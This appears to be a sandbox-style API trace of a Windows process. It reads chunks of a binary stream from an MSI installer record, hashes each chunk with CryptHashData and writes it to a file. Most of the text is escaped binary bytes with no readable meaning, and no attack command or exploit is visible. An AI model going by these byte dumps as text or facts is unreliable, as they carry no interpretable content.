\x88<©[·ø,\x8d!\x84k¬W³õJ\x0f99\x1c\x955ä\x16\x09Ø<\x13wéZ¸\x19bÇ\x06¹\x01l\x84íçË\x8b+@bïS\x8c£Zô]0Ò\x03*@)f°i§\"gîL:\x11Ac©\x0eÖS¡°°H~7\x18\x03£(\x05cNaqû\x9f4<¢_Ðüç\x8e6N4õÔÛ¥nÏô¦ú~X$\x03\x16!\x07GÍ,àhËѱ \x82\x81Ûk¥'«cÚ[ì\x0b>\x03Ù \x7fûr»Ö$»½±Ü\x02\\ß Þþ\x18 ü÷BHB&\x09(Î\x18\x1c\x0fo\x07\x8f\x9a6ë%è\x9b\x8bä(\r/­Sð7vÆ[Ür", pcbDataBuf=0x21df03c) returned 0x0 [0147.213] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.214] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.214] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="w\x0cC\x9b\x95­è\x9c$ì,Ñ\x03¯\x02§æC;\x9a\x1aÝy\x0f\x02ô\x12\x0c¬\x92m0Yÿü^ÇäØ\x17Ð<\x9a\x1f²\x0c£\x0c¿}u»\x86ð \"Gé\x07tåY+\x0eÔ|Jt\x803\x97ýË\x05RI¬Þ\x11Å\x10\x0f\x9böHÿàç3H-\x93\x15\x10§f}\x1e0µ5\x9cj\"\x8c3õR\x96%v¦\x0b2¡[H5È(¿\x1bi©\x04p°¹J\x8d%\x05,\x14…\x81c[Ü\x99Ö\x94eÐM#\x18\x88ó\x84\"\x8dqe¯\x88@v\x91\x01E\x97xá9×5P'+e¸çZ\x9e\x14fþ~d^¿ÅÛ\x03Ö\x18ùCs\x98\x15EÞcn~\x9dõüz¦7¢ßJ\x02\x17wË%'W0î\x95_Â(Îè\x12òÝÊTÙåE\x91\\K\x91\x8d\x02-þ\x98{\x1cúu.s¶\x1a\x95M\x82ÿ\x17\x19R\x1a.W$2-òo\x94@wR\x9c\x8c¯\x9f\x17ºÉKí\x82xEî>Ã\x7f]Ô\x1bZâb-õ$2\x81Àx@yâÉ@f³d-\x1fap…\x9796bî\x0fÍùf\x13<¬ xu\x99Dpî\x84å¿äf\x92óIÆ\x86ô$;8:å\x18\x7fé\nçÞÒë\x1awÐ\x7f÷-\x8fL\x0fªê\nÏ\x93¤¤F¡Â{æ´ÝÃ\x02B`¸3P\n\x7f¦\x881\x0fÁz\x80ù¸\x1b\rWE/p)è#,\x9bøQ\x7f\x8aôêR\x93\x94òö·\x7fú¸ü\x87Q/\x9bJ\x86¨Ôs>P\x9c\x17ZD]óÔÉFH\x84ê\x08\x8fbÚp¦X3ܵۤ\x01\x1aiÖÂS^A\x0e\x07Ac/", pcbDataBuf=0x21df03c) returned 0x0 [0147.215] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.215] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.216] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x88§§\x06\x88y1\x1df\x1a\x0cu½\x14\x8e\x91ªÞ\x8d¾Lv\x82\x0eI", pcbDataBuf=0x21df03c) returned 0x0 [0147.217] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.217] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.217] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="èïïØ\x90ºÞ\x1b\rp%E¯³Úg\x86'EGvÝ$©\x15oÐ\x8eî#¬\nÇ\x8dÙKJ\x1eô#}|]?<\x93é\x91Æ3ÌÜî\x0b\"Ûy?ÐhÇÝiÿX\x86è¦Tè©\x06Å9\x06,þ\x18L\x1b0áwT=<\x9e\nðßh\r\x15ÜÿåRzýÕZq\x96²-\x82ïn \x8cÿ$bÀ\x88\x10Õ´\x09ó\x1eo»Ößb\x14â\x8dÓóåWÃ1ø7ú\x18Ìô.±:>ú-\x95Öd¥0¤\x15\x12M\x038\x06\x09$Ç\x83\x17¦\x1f\x86\x80 J\x16\x01ÎÈÆ\x8fþ§.Ñ\x14K\x8d´âÿ].y\x06ÉöLi\x15PÄ;ÎÂÖ\x8crK½s¸¬\x1d,ø\x13\x8eÕXæ®­\x92ùÈÓ\x10u\x89\x09\x84E÷\"*\x9b\x0eúP¡xÍò§\x07oY±J\x9d\x9f÷\x084©\x82\x1f\x142\x83Æ\x07Ã\x8eé¡\x9a\x883ª\x8aÁ\x01S\x05¿á\x0ceâ6\x03\x9a´\"iè½\x8e\x8cûRÓPù\x8d\x97A¸çãíl\x02\x89\x16{}d{a\x1f\x09r,fÎRÕ4\x83\x8c\x07\x90)£¬\x1dji·ÙF{ÈÅ\x1a!\x19\x92S0ÕÆ\x9c­*¦'Z x´\x94\x8d ÉæW¦Åäŧû\x08×\x1e~VÓþ¹âzÜ\x99ä\"ã\nFUõÊð³±ñ}Ñ\x90\r¥\x7fÃ\x81ä´1Ø\x1dS©¡yýçvé\x8b[_´\x01%VÙ¼\x9e´1\x08\x88*\"=çÆBÕÚ\x02\x10AZYa…eÿ\x05ê\x16F\x13Ø\x82±]ës2ø\x06- ¶¼Ùì\x07¥X¬bºT\x06\x1b²\nå\x11-É\x81i\x94#«Q5\r\x92$\x9cw$4Y\x1aÒ¨\x83\x96Ä2¥éFM÷\x91åþ\x8f-ÙJ3\x86.\x10Ô\x0fñÔ¹\x9b»Vn\x93EÒó\x88n\x133-¨¬j\nã\x02\x03þK+÷\x1bè[Õ\x1fY¾\x9dDÇ\x89´aGà9¦\x89\x8a§såv\x88ÛË\x9b°>«Í\r\x10%\x8f>\x90ÓY{Q¤…\x8e\x99-\x14\x82_\x15±É\\\x16\x90zç$:\rfkåI?Ìç\x10lØÂDÛ,o; \r\\\x0fi7J2 <\x94\x02\x80\x8at\x12ÌųÌÓ%D(;³¢Ø-\x8fâ\x863'²0\x1f", pcbDataBuf=0x21df03c) returned 0x0 [0147.221] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.221] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.221] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Õ\x10\x9c«r๺É;\x1e+%Ñùÿ!å(\x0b\x92F2¨Ú\x1erCAåòyig\x14\x8aÅÿúðÐÑâ\x80¾º%í=O!\x03Ò4éΪ\x90\x9fû9\x14\x18Èâ\x92»\x92êÇ\x0f©£'Yö\x095¹\x8dª \x81[Î*Ù^'\x9d7ôµå\x13ö\x88)x\x9c\x03·\x87\x92é\x11q¥{(~\x96R ù²0n³\x90³hüº`*sÓ]zÿ.ÎШ\x98)\x8bï\x80Ã`ú\x93%'B\x1acØñ0¶Pµþ\x10³Ô\x8e{\x10\x8aI\x9an.…\x93u:¿ ÚSê/jæÔÀ\x9b\x03\x9f){3@Ìx(AR@Ì\x1d\x8bÉ¡r¿Má\x1cÿH7ï\x8b\x01ªñ\x16\x96$\x0c©Bu%ÌÁB:Yü©\x06Å7ä§æ\x94:?©è\x14°|54IS+¥\x10à¤@oæ<\x84È\x19ǾI$Èú\x91a\x87\x049\x80\x9e¢·\x0e\x90é`T\x95fYo\x15\x05ÍX\x84\x89µ\x0có\x04Nhï¢\x94¨°±5Ý\x9c&ú.¸$\x93;bÓ¤rã\x91bÄ\x97ö×\x99é\x10\x97\x04\x0c|H°t\x14¨S¢Ý\x18ùbIþ\x083ï]¿I\x84ÆC\x9bÕ\x92Ó\x88\x08T", pcbDataBuf=0x21df03c) returned 0x0 [0147.222] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.222] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.222] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf=")ïû¼A&ê&\x06Fäs·î\x1c-u¡\x8bb\x84\x83+u\x8d¾j\x05\x81ί\x08TS3\x02\x97\x830©\x971Dá\x03ÂÚ\x83\x99ó\n\x04°È\x10%\x97îÌ\x92#\x1f¥Ý¦Çñ\x86\x9e\x88Aä»â_°g4¿ ¢q;\x96'Îà\x99¬\\X\x0cñ\x8f\x1b\x12&ã¡\x95ôf©\x09W\x1a\"\x92x)äίê5\x86y\x91Ó\x02ip", pcbDataBuf=0x21df03c) returned 0x0 [0147.224] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.224] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.224] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Jûè/\"±\x03\x0f\x1au\x08À\x1bé\x81Ø^\x92¬Z&¦Í}\nd?bc¹\r)e\\x\x7fhbH\x86õ#*\x90Á\x91ÙÙÄY-1uû\x05ªWõs#\x09\x83\x8d96½Æ\x87<Ç7\x97k\x94°¿`a G\x82ºü£\x86\x1f:\x8b\x06E¥ý\x91äs¿\x10I=Øúdò;\x1b\x84r\x1e»@\x9bÔ\x01S§Ò920.IîæØarðߥb\x9a°gp\x13-Æ\x97LV½È\x91", pcbDataBuf=0x21df03c) returned 0x0 [0147.226] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.226] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.226] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf=".38¯\r\x84pya^\x7f# ÏNa\x95®¢\x9aè¡_\x91E\x19=Q·3\x1cT»£~òûÉ@Mk\x06\x96«%÷3.\x1b×]Á[Zì\x14z´f­\x84~Ý\x9e\x8bt\x0c\x8aöùÙ4Ù\x90ô2§WJÿ\x9d´Úökj0¾8{Tê¢v\x9bo\x9a¥ì+\x11Þ­±ÚÂ6h<÷¨\x09\x16;¦e\x16ï\x84…\x9fgtPý{S\x9dL\\VW\x89[(µ\x8c\x1c\x12/±\x10…}BºTR,¾»u\x1cÙC\x88ûi3\x90;ÜÔÈ´3¶2z>\x97\x08\x0eÑÚ\x03×M#ÓB\x86iFpÜwl½\x98KÀÚ­9}W¦¸l(\x80Ö4ëQ~«Äd#¾'ù\x81ÈШ\x13ÇÀ4\x08¼ÏÝ`ä¯%,\x11d\"K®æ\x95ª\x9cBöú\x0e !\x09\x9e\x88¹Sñ8Ñ\x12\x06XãÚ\x12YÔê£\x1c\x9f\x152\x8c\x8fg\x8a<Ò NÚ\x08+\x86=Ý\x92&\x82\x09h£\x98øí' Mó\x1eFf\x8f\x86Ö{¨n3»\x16_\x12TåA¹]¯+m®,=v\x19¯d\x8cNI¾v¹Î\x86IÑ\x97\x9d«…\x7fê1\x1a¹¾,AÓ¿øx¨ÐLÕ­§\x08¹\x8fúF\x1f\x01\x144\x92Æ\"é\rÚ\x9e=", pcbDataBuf=0x21df03c) returned 0x0 [0147.227] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.227] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.227] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ò\x03\x99\x05\\-Ç\x10©\x9cµF$Y¾)1I,éï \"äÿõ<´²\x9aká2ûÕ·.ËÆücó\x0cÝ\x8bæÂ)Ü\x8b,\\ ®²=Kh\x16{âq?gM*´\x12 ¨)2C\x98\nçr²\x1f>\x97ÊÙØ°]\"ájý\x1c\x09\x08Þ§©3É0\x95\x0b\nLÆ\x0fnkäë\x7fò\x1e\x8c{vbðk>Ø\x89Ò\rZÍ;\x1e­I0b.@ÔF", pcbDataBuf=0x21df03c) returned 0x0 [0147.230] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.230] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.230] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x11¸àZ&\nä\x91 5\\\x96ÝÕæDÄ¢\x8at\x1dð\x9fub\x07\x94¨çA\x9f\x01ÙïOMaiĸ'\x12÷ËÕ\x94\x8b°\x15\x95\x8aPéæÕéÑ\x81A)ùÇVl¡ãû-<\x97\x1emr\x86¯+Ý\x18UZ@õ\x05\x9b\x83É\x05³þ©\x91\x09\x0c4\x1c\x94õàq;q\x9dxÓ\x8a9èVÈG5åä¨æ\x07ÀE쬅Ë'\x9fM$\x1c¦\x9eÀh<Â\x05m+\x8c墣_÷\x8eÆ8\x8b\x15[Gÿ)\x98Ü\r\nÝ\x07±|Å\x8f\x1a8nÄæQ\x97­Ê\x8a¶m\x19Ô±V=«\x9cd\nV·ÊWUË!\x9cs4¥1\x8dòXu¬\x15×rìrM\x8b\n4S2à\x17\x99ª¥^X|\x0b©\x86ðç©\x08\ró\\³Ë(ø\x86MÌ}\x03Ø×=\x034#Næ\x18êÜ\x91>#ìà¸ÇäJà\x01\x1fdo\x8c", pcbDataBuf=0x21df03c) returned 0x0 [0147.231] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.231] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.231] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ï\x8a\x0e\x8c\x02i\\½\\'îйu?\"ð®4Ú\x89¶å\x16\x02ÀQÀ\x94ɯýõ\x88íê\x817`}\x94)§ð~2y\x1d\x8f[¸üwøuGv\x12αþòI\x1dQP\x12ÿgcÊnJ¦\x81|áwß­eNðcuwÚ\x93>¢aÏ\x19G­À[\x13\x0fOp&BÎ~6\x90Ytÿgêq\rm·É9Z\x0böû\x1f\x07\x110­¥\x02\x10[\x12\x12Göe4Úº-\x09\x0f\x84ÌAÓ\x8d¦<¢öU\x17üÓ\x8c\x99T­(~§\x02\x02!n1UPprø\x1d\x18Í,…Ü~²8× \x06\x09©\x87í\x99\x174Mo\x82½¿\x03\\¡Ô\x9e&öVì¹ôX\x81\x09Fü,¡W\x82eö\x08ߥÊ\x88ñ`ηõ¥\x84\x038\x81<2#ãð\x92¦Ï;>Ǥ`)¦UÕ¬íÜþz", pcbDataBuf=0x21df03c) returned 0x0 [0147.232] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.232] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.233] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x98â±WÓÍs´«ÖZ\x08\x19\x8f¤vY\x86%Aì\x1b.àbÆÌ>ã2ØÇæ4âw\x9eæ\x90-[BÓ\x98êA\x9bu7[", pcbDataBuf=0x21df03c) returned 0x0 [0147.235] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.235] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.235] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="V\x7fźYÉ%U_\x14¢\x08gØ\x12P(\x8b\x04õ¾\x1a\x86kÞí\x01DÇï¯\x99ÇLw9é`Oy¤\x12\x14\x04Fäë…sÞObañ^ï\x017\x06\x03y\x1fJ¹@\nz\x1cÑ\x13\x7f-z+\x8743^Bý\x14¡0ËÓ]à\x7f\x93\x9eSJX\x03\x0b©xEá\x11ÐÄÂ¥\x01M\x9azò­Gj§\x94k5- ä¥ê h7ç¢\"v\x11\x1fÛ*Ñ\x9eç¢Þ~ã.q^\x83Åí÷ÎnL±èÞX\x99:&¬¾¸x\x12råÖqÖs¸§\x0eHÕƲ\x0bRY³ä¯óü^¾\r÷âóo…ÇLµVÝ\\j\x87#G\x9aÈW\x8fúZ$\x98u©tQ\x10h*i\x12y¿­â\x92àÕ25Ú»4ºP¦¼8ߪ1 Õ\x03A Ê*¹ÄæçÒò>\x06í\x81(1Q\x92ÜäÕ¾Ñ\x01O*ÌÎÀ\x87ñe\rª\x90è\x8e\x06$K.nëõ\x9dÑ\rÇÄIéV\x0b¤rDs \x7fé\x8d`N\x0b«¹Ì\x0f\x0eX\x92÷Æ|Hî\x82Ñ/ë\x05+d\x05E[À\x06¼¹\x84Ðáä\x17ñÕ\x1f@ÈÈ\x13\x9d|nèØ衾\x91Á\x9a\x91\x95ÜÓîëXUÕE°\"ßxªª°êɱ\x0b\x1ft~5\x84P(/%{\x07\x19:q½àÀ×\x1d\x91R3鬤ÐË ²9l\x10\x09Z\x8a\x9dÆ[\x0enC·2\x16\x98\x8a¼\x8fÿ/¿\x14pÐ7À¦\x96aàé\x8f\x8e͹\x0b\x8d]\x07Ë·×\x04B¹¼Xtû\x8a\x87\x8dö]K.@\x98J>\x0bB\x95³Ô\x05|?\x9f n\x8e\x10¡4í?<:\x8dËvô\x9d*\rRtÍåU}\x80ÀÄ\x88\x17ðFÆ 7N8üìÉxÛ`\x95EA-\x12¾aIÔµ{\x80d\x079Kóá¡ÓÕ 35\x88ÿ\x9dĬåö\x1by\x12-X­®Gnßl\x95\x0bjf\x87\x1b\x10\x02\x9e\x8fù\x9ctÖÐõT\x0c\x17ͺÇý", pcbDataBuf=0x21df03c) returned 0x0 [0147.237] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.237] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.237] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¦°­$\x9fY3\x87í…ëeî\x8a|¡´|´À\x0e VÓ\x9dÖ|\x9c\x9c\x81\x92س^ûSѳ\x04\x94\x0cj{ \x19°V\x02 §²b\x11àÕ}IJð©ÍzÏØÎô\x0bPToWy\x81\x83`\x99DÁm\x93áØ\x13ï,Ð\x04¶¾N¸Ñ»YêÔ­®\x7f's\x87\x98t^ºÞKØ)æ~º\x16\x7fûq\x8d´\x89äÁ\x81\x8cs\x82ÀÇðÆ[¥ÅÑ(&´á{\x07¿Íôù2±qù`ª~Ë¿@ÚaV£µq*\x89õÌI\x99s\x9eQÄ\x11ÊSUà\\9ä\x8cXÔ\x1bcj¹ÔQuÀ\x99 fÐ\x07Ù°\x99\x05çÒI\x1cæ\x06ÄÍMÏ\x01RDr ¶S\x92\x0e¿5ÀÄcå\x0cõ°ü\x0cï\x88è\x8aW\x8aÜ\x87|ÏÝ\x811g§\x09/'\x80\x0b\x16L¶äZ\x1e0\x19L=|Ón\x91¹^\x99m²\x1bJ'éu¨\x0cûIiÛ\x9dn³ø\x08\x0eͨÓ\x14\x09R)o(ÁÖX±°àçO³zJÑ\x89^^ ýækîß1ÂÔ\x9eIWÏü}:\x07¤\x1ewÔ|v\x88~Ò½\x86\x9e)¶X.î×\x12\x90½;d^\x02Ös¥_\x10\x93_ja$\x8f\x0cûÒ\x92E\x15Ú\x8e\x03½\x8d7&!\x81 Õ\x97\x0côÕêÓÂ\x0b\x06L«s\x90\x91\x16nìT=[\x12\x8e¢Ú¯ÀYÁbÚ^âÀç\x9ffæ\x97*\x05°3=0$w\x8aÚàжA\x0fÞAÄ·ñùE^\x9aqÊ&À\x8b_жê`\x92­\x90RWLTg±h\x14\x88¾p ¦l\x99z\x7f\x99u\x08\x9e{Oh5õã\x06ö\x0cCV2 Í\x91)\x9b>£ÄóòA¡BìiXð¦÷óÑì2¾\x89ú;õÚA\x08\x94e\x0e¹³\x9f+\x04\x01\x03óÜ\x91ä\x95²\x04úf\"g\x0fÆ©r\x9c\x9c?mû\x8a\x08ÿ\x919\x0b®%­¡\x128.¼×\x99ýLa\x91wûK\x0c\x04R\x07\x91\x86\x99V\x08\x08ZJÃ`ki*ê9\x07;\\\x1d¼\x15\x9fÿ2:xñ?\x01ú«\x8e\x04.Ý\x1eìU\x06²ÿOhL\x8f98o÷\x8e\x12ì¿ÉØ\x9f¹Æ¦â;1\x99\x90úéU\x8bÝ4ͪ", pcbDataBuf=0x21df03c) returned 0x0 [0147.238] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.238] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.238] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="÷KñàÄ=î\x04û¡±Aº öÉΧ!\x97¼\x8añ\x81\x8dNÚÌ\x1a85\x10\x94¼\x8eéø\rpM=Á0\"\x03MÇ#®X\"ào»\x1cI¤\x89ô\x83¸\x1crµÚ\x80íÝ£ò\x87\r\x94Ô\x1fØ\x87\x83\x9b^", pcbDataBuf=0x21df03c) returned 0x0 [0147.240] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.240] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.240] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="(\x15\x09§ÙPàq[\x95\x18\x15\x0f…¿úü¢\x88d\x87\x83\x86G\x06\\â@muÓlèÞÀ`\x8ff\x9d\x1e±>¨\x12\x1ej)\x91\x92H\x7fõ@yH\x93\x0ewÓwã\x98Çò@Kq9°¹\x8aßhÒõÐ伦ü\x98ò!-Îj\x8d\"A\x17k«\x1aÊ>É\x93Q1\x0b\x01=½ÿ8uH±Ñiøo»Í…Î#5\x1d\x19q¥¾F\x86¨§\x02nþ\x92V\x1d~/v§Ê,ÎU-ëøYzJþy¸@P(\x17éÀgT…ª\n¸¾\x8f¶@\x17Üß\x07ÞÉ\nûF½)iÅa\x9dGZ«/L\x13\\Râ¤8ûÙK(¶ ³…_v×ÂÙ\x0cëYUºq1\x09A*\x93\x91tÒÑÒ\x13æ}PYU\x9e#\x11ÉyÕ\x8a´4V.²÷À\x96{\x14\r\x91g\x9bÓ­±:â(1X\x13É\x7fó±~¹\x14Å}\x9c8ì\x1d,cåÉ\n¸©²\x0b(Hm£Ç\x05Óß\x8aZ\x18\x10\x91Ö-\x03*\x12ÌÓ\x8cWO Q¢l\x17ßXX§c ¢o[¾³dê¿V\x0c$\x1dr¼£ÏH\r\x80geÀPñ\x1chÀºW«ðÄ1Yµ|\x95Û\x1cM\x8cX\x18µwÄÅ)ÇÍæÂF_Z¨à%æR*\x1cÝòäUl\x95\x10µ°Í2Ç0ð×\x18­ï@ñ¯E`\x95L\x1a³ÌeÅ\x8e¶~\x8cå\x1e\x06ϺJ#õ_ľð0SÕUPIh a)±åv\x1aÿ4nÕÂ<ã\x8eÓõ\"¼kS\x93¼JÌ\x04é94<\x19açðæuQ,WÛÑñ\x03°ûö\x94nUç:Àj\x01Ä~\x8e^\x16Lp\x17«)\x12\x82\x0eV\x10u<\x07\x99º£\r}\x84¿:\x08Ö*!5l\x18Áhtvë¥Í\x1f\x8dÁ¢ÕÄû'a\x89V\x8c\x9f_×3i\x94¯·q\x91é­6hDâR.\x9cæ'ñ\x1d$Ỳ\x7fã¼\x7f'0¼\x9dgÈP´±eþ1˵fx»Ç~Z~^º½9®¹¾oå", pcbDataBuf=0x21df03c) returned 0x0 [0147.243] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.243] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.244] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="=\x0e3Ràj+\x1bð è®¸…¥c\rúú,+\x959\x08?g}vêëi;¼t´û\x17ò\x84à}\x0e\x8a\x0e½pi\nÁôhþc\x8bd-\x9a\x18\x86\x19\x86\x8bÇ8/ \x0b· 3\x17Xì\x14þ@q@hÁw&¶ÿô\x81Õu\x07R\x8bNi…-\x99¬&…\x17cÉ", pcbDataBuf=0x21df03c) returned 0x0 [0147.245] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.245] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.245] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="a¾\x92\x11s\x08¸Ö6\x84¥\x1cMqì{\x8b¦ú\x94\x18\x0bTÖw\x1dÜcÄL\x80í\x9b*W\x1f´±¸sWÂ10Rä\x9eÒeÐ\x9a C'È'\x05\x14\x08\x92såæ\x0cÉ\x91X%?ïK\x89mõ¹\x8a$\x18\nñÅnÊ\x8fà\x8d)©»äÇÄÌÃ\x82\"©\x0eL¶X½\x80Â'®äl\x8ca\x1cÖì\x8d\x9d5Ü|×y¯³k\x16ÕúѹF×\x080#3\x11d\x89\x8d\x8cÃÒ\x05\x96 /ÖrGcʅ\x0co\x0fªþ 